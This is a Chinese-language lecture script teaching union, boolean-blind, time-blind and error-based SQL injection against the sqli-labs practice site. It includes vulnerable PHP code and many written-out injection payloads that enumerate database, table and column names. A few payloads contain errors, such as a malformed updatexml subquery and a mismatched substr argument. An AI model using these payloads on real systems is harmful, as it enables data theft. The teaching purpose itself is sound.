- 同学们好!今天给大家带来一堂sql注入的课程.SQL注入作为一种常见的网络安全漏洞,已经成为黑客攻击中常用的手段之一。通过利用这一漏洞,黑客可以执行恶意的SQL语句,从而获取敏感信息、篡改数据库内容甚至掌控整个系统。
- OWASP Top 10是OWASP组织发布的一份关于Web应用程序安全风险的常见清单。它列出了当前最重要、最具威胁性的十大Web应用程序安全风险.在其2021报告中,注入类漏洞风险占位第三.
打开网页
- 在接下来的直播中,我们将带领大家了解四种基础SQL注入的原理以及常见的攻击方式。同时,我们还会与大家分享一些防范和应对SQL注入的实用技巧,以保证我们的系统和数据的安全。
打开展板
sql介绍
-
SQL注入通常发生在与数据库进行交互的应用程序中,这些应用程序使用用户提供的输入数据构造SQL查询或命令。攻击者可以通过在用户输入中插入特定的字符串或构造恶意输入,欺骗应用程序执行不受信任的SQL代码。如果应用程序没有对用户输入进行充分的验证和过滤,这些恶意代码将被解释和执行,导致安全漏洞。
-
常见的数据库服务包括MySQL、Oracle、Microsoft SQL Server等,不同的数据库系统对SQL语法的支持有些许差异,尤其是在一些高级功能和特性上。例如,不同数据库系统对日期和时间处理、字符串函数、排序规则等可能存在细微的差异。此外,各个数据库系统可能有自己特定的扩展语法和特性,但是SQL语法的核心部分是相同的
-
既然SQL语法相似,那么sql注入的语法也是相似的,下面我们进数据库里面看看如何简单的连接和使用数据库,这里我使用的环境是小皮面板,apache2.4.39,mysql5.7.26,php5.4.45
实机展示
show tables;
- 本次讲解的漏洞包括联合查询,布尔盲注,时间盲注和报错注入,学习各种漏洞的利用条件以在实战中针对不同的环境选择恰当的利用方式.除此之外,在未来的学习中,还会有更多的注入种类(如宽字节注入,dnslog外带等),绕过技巧的学习.
注入原理与闭环方式
- 下面进入注入原理与闭环方式的讲解,刚才提到,sql注入的原理是应用程序没有对用户输入进行充分的验证和过滤,执行和解释了用户构造的恶意代码,那么我们以sqlilabs为例,从代码中来看看这个漏洞是如何产生的,并且由此引出我们应该如何利用.
实机展示
- 关键部分的代码如下,这个php脚本接收了一个键名为id的get传参,将参数插入了一个名为sql的变量中
- 这个sql变量的值(sql查询语句)被mysql_query()函数执行,将结果传给了一个名为result的结果集,其中包含了从数据库中检索到的行和列数据
- 对于这种数据格式,脚本使用了mysql_fetch_array()函数将其中的值提取到row数组,提取出其中的用户名和密码字段,然后echo到屏幕显示
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
- 代码分析完了,我们来使用一下试试
实机展示
- 可以看到,我们通过get传参,将id的值拼接进入了sql语句被执行,在这种情况下,虽然没有数据库的账号密码,我们利用id参数传入任意的sql语句即可被执行,比如我们想要执行sleep(5)这个命令,这个命令可以延时5秒,我们可以构造
?id=1' and sleep(5)--+
- 语句被成功执行,换句话说,我们通过网页刷新延时5秒成功测试出了这里存在sql注入漏洞,那么这里的and sleep(5)以外的部分是从何而来呢?--+实际上是-- ,是sql语法中的注释语句,同样的还有#,#注释不需要空格,--注释必须要空格,这些都是sql语法的规定
show tables;
show tables miao;
show tables -- miao;
show tables #miao;
-
使用--+的原因是浏览器的地址栏输入的特殊符号会被url编码,比如你输入空格,则会被编码成%20,那么现在我们要传入空格,就需要找到一个符号被转码后的结果是空格,也就是+
-
//我们讲构造达的字符串代入源代码,或者我们改一下代码,吧实际执行的sql语句echo出来
echo "执行语句为:".$sql;
$sql="SELECT * FROM users WHERE id='1' and sleep(5)--+' LIMIT 0,1";
- 可以看到,sql变量的双引号内实际内容如下,也就是说,数据库执行语句实际如下
SELECT * FROM users WHERE id='1' and sleep(5)--+' LIMIT 0,1
- 相反,如果不加引号,实际执行的语句如下,我们输入的内容被当成了一个整体字符串,并没有被执行,通过这个引号,我们将id的值为1这个部分闭环,然后后面多了一个单引号,我们使用-- 将其注释掉,成功执行了我们的语句.
SELECT * FROM users WHERE id='1 and sleep(5)-- ' LIMIT 0,1
- 同样的,这里我们也可以使用--%20(空格的编码),%23(#的url编码,不用直接用#的原因和之前一样)实现注释,比如
实机演示
- 总结一下,后面的注释是固定格式,所以在这种没有过滤的情况下我们要实现注入,只需要把前面部分的闭环方式测出来就行了,这里有一种简单的办法,在传参的后面加上反斜杠
SELECT * FROM users WHERE id=(1);
SELECT * FROM users WHERE id=(1\)';
- 学过c的知道,这个符号在很多语言中都作为防转义符,可以把原本的闭环符号变成普通字符串,让原语句的闭环破坏掉,就会报错出闭环附近的内容,我们就等得到闭环方式
实机测试
- 这种方式相当于是利用了报错注入,所以它和报错注入的使用前提一样,都是应用提供报错,在这里它由下面这行代码提供,如果没有回显我们仍然可以使用盲注的方式手测或者使用其他方法.上面的内容都是get传参,类似于sqli11关,12关的post传参也是如此,这里不再测试,就留给同学们了.
删掉print_r(mysql_error());测试
联合查询
- 到现在,我们已经实现了web应用的任意sql代码执行,那么我们就用开始利用它了,复习一下,语句格式为
?id=1' and sleep(5)--+
?[应用传参][闭环方式] [任意sql代码]--+
- 那么下面我们处理的就是这个任意sql代码的部分了,在sql语法中有着联合查询这样一种语句,它是一种将多个 SELECT 语句的结果组合到一起返回的 SQL 查询方式。它可以将多个表或视图中的数据进行合并,得到一个结果集。我们也实机测试一下
use security;
show tables;
我们先查看一下select emails
select * from emails;
在查看一下select 1,2的结果,这相当于生成了一张1x2的表,两个无头字段的值分别是1和2
select 1,2;
那么我们使用联合查询语句
select * from emails union select 1,2;
可以看到,原本两张表的内容都拼接到了一起,那么聪明的小伙伴可能想到了,如果两张表的字段不一样会怎样,当然是直接报错,我们可以试一试
- 也就是说联合查询可以无视第一部分查询内容而查询任意其他内容,这就可以被我们用来窃取数据库的数据
- 刚才提到,union select需要保证前后两者的字段数相同,我们可以使用order by语句来查字段数,在 SQL 中,ORDER BY 用于对查询结果集按照指定列的值进行排序。
实机测试
比如本来有两个列,我们可以order by 1或者order by 2选择根据第一列或者第二列排序,但是无法order by 3,这样会报错
通过报错,我们就可以知道一共只有两个字段,和上面一样,如果报错没有输出,我们也可以通过其他的方式测字段,比如最朴素的方式就是select 1,2````
sqli测试
先order by
?id=1' union select 1,2,3--+
- 我们成功测试出有仨字段,也使用了联合查询,但是并没有显示出我们union select的内容(1,2,3),这是因为我们select的数据很多,但是前端用来显示的位置只有两个,我们可以在代码中很清楚理解这一点
加上print_r($row);
- 首先,第一部分select id='1'是合法的,所以结果数组中没有union select的完全结果,我们通常采用异常传参,让id的值查不到,从而只能得到后半部分的查询结果
实机测试
-
其次,我们发现,传入的三个参数分别给了id,uname,passwd三个键,但是只有后面两个键是会被echo出来的,说明这俩就是显错位,我们要查询的信息只能从这两个位置被输出
-
到这里,我们学习了使用order by查字段数,然后学习了使用异常传参+union select数字的方式查显错位,下面我们将正式开始查询数据
-
数据库的结构是
展板展示
与实机测试
- 那么我们想要查到数据,至少需要知道数据库名和表名,在显错位的约束下,我们通常不能使用[展板2]直接select *,而是需要单独select 列名,所以我们还需要知道列名
- 在初学阶段,库名我们可以通过database()函数得到,表名和字段名我们可以通过information_schema库查询到相关信息,其中,库名和表名的对应关系存在其中的tables表里面,表名和字段名的对应关系存在里面的columns表里面
实机测试
select database();
select * from information_schema.tables where table_schema="security";
select * from information_schema.columns where table_name="emails";
- 原理掌握了,那么在刚才的基础上我们进行一次完整的联合查询,这些语句都是固定格式且要背
实机测试
?id=1.1' union select 1,database(),3--+
?id=1.1' union select 1,database(),table_name from information_schema.tables where table_schema='security'--+
?id=1.1' union select 1,database(),column_name from information_schema.columns where table_name='emails'--+
?id=1.1' union select 1,database(),column_name from information_schema.columns where table_name='emails' limit 0,1--+
?id=1.1' union select 1,database(),column_name from information_schema.columns where table_name='emails' limit 1,1--+
?id=1.1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='emails'--+
布尔盲注
- 联合查询适用于有回显的页面,但是有些页面并不会完全回显,我们来看看sqli第八关的代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
- 可以看到,如果查询成功,只会回显You are in...........,而查询失败则没有回显,联合查询显然用不了了,这时候我们就要考虑盲注了,这里先介绍布尔盲注,先介绍一些前置的知识
- select语句可以加and和or关键字,and关键字在两个条件都满足时输出,or在两者至少满足一个时输出,例如
实机测试
select * from emails where id='1';
select * from emails where id='1' and 1=1;
select * from emails where id='1' and 1=2;
- sql可以通过substr函数截取字符串,这个也是在许多语言里面都有,substr()接收三个参数,第一个是待截取的语句,第二个是从第几位截取,第一位是1(注意,刚才说的limit的第一个参数也是控制输出位数的,是从0开始),第三个参数是一次截取多少位
实机测试
select substr('1234',1,1);
select substr('1234',2,1);
select substr('1234',2,2);
- 第三个是ascii函数,和你们c的这个函数一样,可以把字符串转换成对应的ascii码
select ascii('a');
- 第四个是length函数,和很多语言也一样,可以获取字符串的长度
select length('d0g3');
- 那么正式开始布尔盲注,首先还是需要查闭环方式,但是我们使用之前的报错注入的测试方法,显然是不行了,因为在这个情况下没有回显,我们可以通过盲注的方式来测闭环,利用的是上面的and关键字
实机测试
?id=1[闭环方式] and 1=2--+
- 当闭环成功的时候,这样的语句显然是不会有查询结果的,那么页面就没有回显,事实上,盲注就是这样利用页面有无回显来实现注入.
- 测试出来闭环是单引号后,按照上面的步骤就是查询库名了,因为要对库名的每一位字母进行爆破,我们先爆破数据库的长度,再爆破数据库的每一位
实机测试
?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,2))=101--+
- 那么聪明的同学就在思考了,为什么不直接这样而是要套一层ascii
?id=1' and substr(database(),1,1)="s"--+
- 因为把等号右边换成大s,sql执行结果仍然为真,这是因为sql语法对大小写不敏感,比如刚才的句子,我们完全可以这样执行,但是我们从数据库查到的数据,或者flag是大小写敏感的,比如正确的flag是D0G3,你打出d0g3就交肯定是不对的
?id=1' and substr(database(),1,1)="S"--+
?id=1' and suBSTr(database(),1,1)="S"--+
- 爆破出了数据库名,我们就按照联合查询的方法依次爆破即可
- 那么有的同学可能就会问了,这样一个一个试不是太麻烦了吗,确实麻烦,临床上我们通常使用burpsuit进行这个重复的尝试操作,task1给大家布置了熟悉burpsuit的爆破模块的任务,这里就带大家简单看看如何使用它进行布尔盲注的爆破
实战演示
时间盲注
- 时间盲注针对完全没有回显的情况,基本思路和布尔盲注差不多,也是爆破,判断对每一位是否爆破成功则是看开头讲到的sleep函数,看页面是否存在延时
- 前置知识只有一个if函数,这个函数接收三个参数,有点像你们c的三目运算,语法为if(条件,为真执行,为假执行)
实机测试
SELECT IF(1=2, 'true', 'false');
- 下面就开始时间盲注了,首先还是测闭环,如果闭环成功,sleep语句会被执行,那么就会存在延时
?id=1' and sleep(5)--+
- 然后就是测数据库名长度,如果库名长度为7,那么延时两秒
and if(length(database())=8,sleep(2),null)--+
- 后面就和报错注入一样了,爆破库名的每一位,然后依次爆破表名列名即可
and if(ascii(substr(database(),1,1))=115,sleep(2),null)--+
- 和布尔盲注一样,手测实战几乎是不可能的,因为burp没有测单个请求时长的功能,时间盲注一般是用python脚本爆,这里提供一些简单的指导,大家可以试试自己能不能在此基础上写出来
报错注入
- 只剩下最后一种注入了,报错注入,使用条件是没有限制报错,也就是源码中有这个.基本语法如下
union select 1,2,updatexml(1,concat(0x7e,database(),0x7e),1)–-+
- 它的原理也很简单,updataxml这个函数的第二个参数不能有0x7e这种东西,有就会报错,我们使用concat把要执行的sql语句包裹进去,这样它的结果就会被报错信息带出来
查库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema="security",0x7e),1)--+
- 其他查表名,查字段名,查数据也是一样的了
- 切防sql注入,基础的sql注入就到此结束了,未来还会有更多的sql注入方式与更多的绕过技巧,期待大家能够坚持学习下去.